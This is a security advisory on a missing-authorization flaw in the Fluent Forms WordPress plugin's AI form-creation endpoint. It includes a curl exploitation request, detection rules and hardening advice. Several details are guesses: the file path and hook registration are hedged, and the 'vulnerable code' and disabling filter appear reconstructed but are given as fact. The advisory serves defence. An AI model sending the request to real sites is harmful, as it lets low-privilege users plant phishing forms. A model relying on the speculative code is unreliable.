CVE-2025-13722

Executive Summary

CVE-2025-13722 is a Missing Authorization vulnerability in the Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress. This flaw affects all versions up to and including 6.1.7. The vulnerability resides in the fluentform_ai_create_form AJAX action, which lacks proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to create arbitrary forms via the publicly exposed AI builder endpoint. The CVSS score is 5.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch and the ease of exploitation (low privileges required) make this a significant risk for WordPress sites using the plugin.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The flaw is entirely within the Fluent Forms plugin's AJAX handler, which fails to enforce proper authorization for the AI form creation feature.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Unauthorized form creation
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to creating forms (not modifying existing ones or accessing data), the low barrier to entry (authenticated subscriber) and the lack of a patch elevate the risk. Attackers could use this to create phishing forms or spam forms, potentially leading to further social engineering attacks.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The Fluent Forms plugin registers an AJAX action fluentform_ai_create_form intended for the AI builder feature. This action is supposed to be restricted to administrators or users with the manage_options capability. However, the code does not perform any capability check before processing the request.

Root Cause Analysis:

1. The AJAX action is registered in the plugin's code, likely in a file like includes/Ai/AiController.php or similar.
2. The handler function fluentform_ai_create_form is hooked to both wp_ajax_fluentform_ai_create_form and wp_ajax_nopriv_fluentform_ai_create_form (or just the former).
3. Inside the handler, there is no call to current_user_can() or any other authorization check.
4. The function proceeds to create a new form based on parameters passed in the POST request (e.g., form title, fields, etc.).
5. Since the action is accessible to any authenticated user (including subscribers), an attacker can send a crafted AJAX request to create arbitrary forms.

Attack Flow:

1. Attacker logs in as a subscriber (or higher) to the WordPress site.
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=fluentform_ai_create_form and parameters defining the form structure.
3. The plugin creates the form without checking if the user has permission to do so.
4. The attacker can then use the created form for malicious purposes (e.g., phishing, data exfiltration).

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.1.7):

add_action('wp_ajax_fluentform_ai_create_form', 'handle_ai_create_form');
function handle_ai_create_form() {
    // No capability check
    $form_data = $_POST['form_data'];
    // Process and create form
    $form_id = FluentForm\App\Helpers\Helper::createForm($form_data);
    wp_send_json_success(['form_id' => $form_id]);
}

Patched Code (Hypothetical):

add_action('wp_ajax_fluentform_ai_create_form', 'handle_ai_create_form');
function handle_ai_create_form() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_send_json_error(['message' => 'Unauthorized'], 403);
        return;
    }
    $form_data = $_POST['form_data'];
    $form_id = FluentForm\App\Helpers\Helper::createForm($form_data);
    wp_send_json_success(['form_id' => $form_id]);
}

The fix requires adding a capability check (e.g., manage_options or fluentform_create_forms) before processing the form creation. Without this, any authenticated user can exploit the endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Fluent Forms <= 6.1.7 installed and activated.
• Valid user credentials with Subscriber-level access or higher.

Exploitation Steps:

1. Obtain a valid WordPress session cookie (e.g., via login as subscriber).
2. Craft a POST request to https://target.com/wp-admin/admin-ajax.php with the following parameters:
   • action: fluentform_ai_create_form
   • form_data: JSON-encoded form structure (e.g., title, fields).
3. Send the request using curl or a tool like Burp Suite.

Example curl command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \
  -d "action=fluentform_ai_create_form&form_data={\"title\":\"Malicious Form\",\"fields\":[{\"type\":\"text\",\"label\":\"Username\"},{\"type\":\"email\",\"label\":\"Email\"}]}"

Expected Response:

{"success":true,"data":{"form_id":123}}

The attacker can then access the created form via the WordPress admin or frontend.

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=fluentform_ai_create_form from non-admin users.
• Look for rapid creation of forms by a single user (anomalous behavior).
• Check for forms created with suspicious titles or fields (e.g., "Login", "Verify Account").

Hardening:

• Immediate: Disable the AI builder feature if not needed by adding a filter in functions.php:

  add_filter('fluentform_ai_enabled', '__return_false');
  

• Temporary: Restrict access to admin-ajax.php for non-admin users via .htaccess or a security plugin (e.g., Wordfence).
• Long-term: Apply the patch manually by adding a capability check to the vulnerable function (see patched code above).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=fluentform_ai_create_form from low-privilege users.
  • Unusual form creation activity in WordPress logs (e.g., wp_fluentform_forms table).
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/fluentform/includes/Ai/AiController.php).
• Log IOCs:
  • WordPress debug log entries showing AJAX calls to fluentform_ai_create_form without proper nonce or capability.

Detection Engineering

YARA Rule

rule CVE_2025_13722_FluentForms_Missing_Auth {
    meta:
        description = "Detects missing authorization in Fluent Forms AI create form AJAX action"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-13722"
    strings:
        $ajax_action = "fluentform_ai_create_form"
        $no_cap_check = "current_user_can" nocase
    condition:
        $ajax_action and not $no_cap_check
}

Sigma Rule

title: CVE-2025-13722 - Fluent Forms Missing Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13722 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=fluentform_ai_create_form'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13722 - Fluent Forms Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=fluentform_ai_create_form"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the AI builder feature by adding the following code to your theme's functions.php:

   add_filter('fluentform_ai_enabled', '__return_false');
   

2. Restrict AJAX access using a security plugin (e.g., Wordfence, Sucuri) to block fluentform_ai_create_form for non-admin users.
3. Monitor logs for suspicious form creation activity.

Long-term Fix:

• Apply a manual patch by editing the vulnerable file (e.g., wp-content/plugins/fluentform/includes/Ai/AiController.php) to add a capability check:

  if (!current_user_can('manage_options')) {
      wp_send_json_error(['message' => 'Unauthorized'], 403);
      return;
  }
  

• Update the plugin once a patched version (>= 6.1.8) is released by the vendor.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing fluentform_ai_create_form from non-admin IPs.
• Implement custom role management to restrict Subscriber capabilities.

Valters IT
Securing Digital Frontiers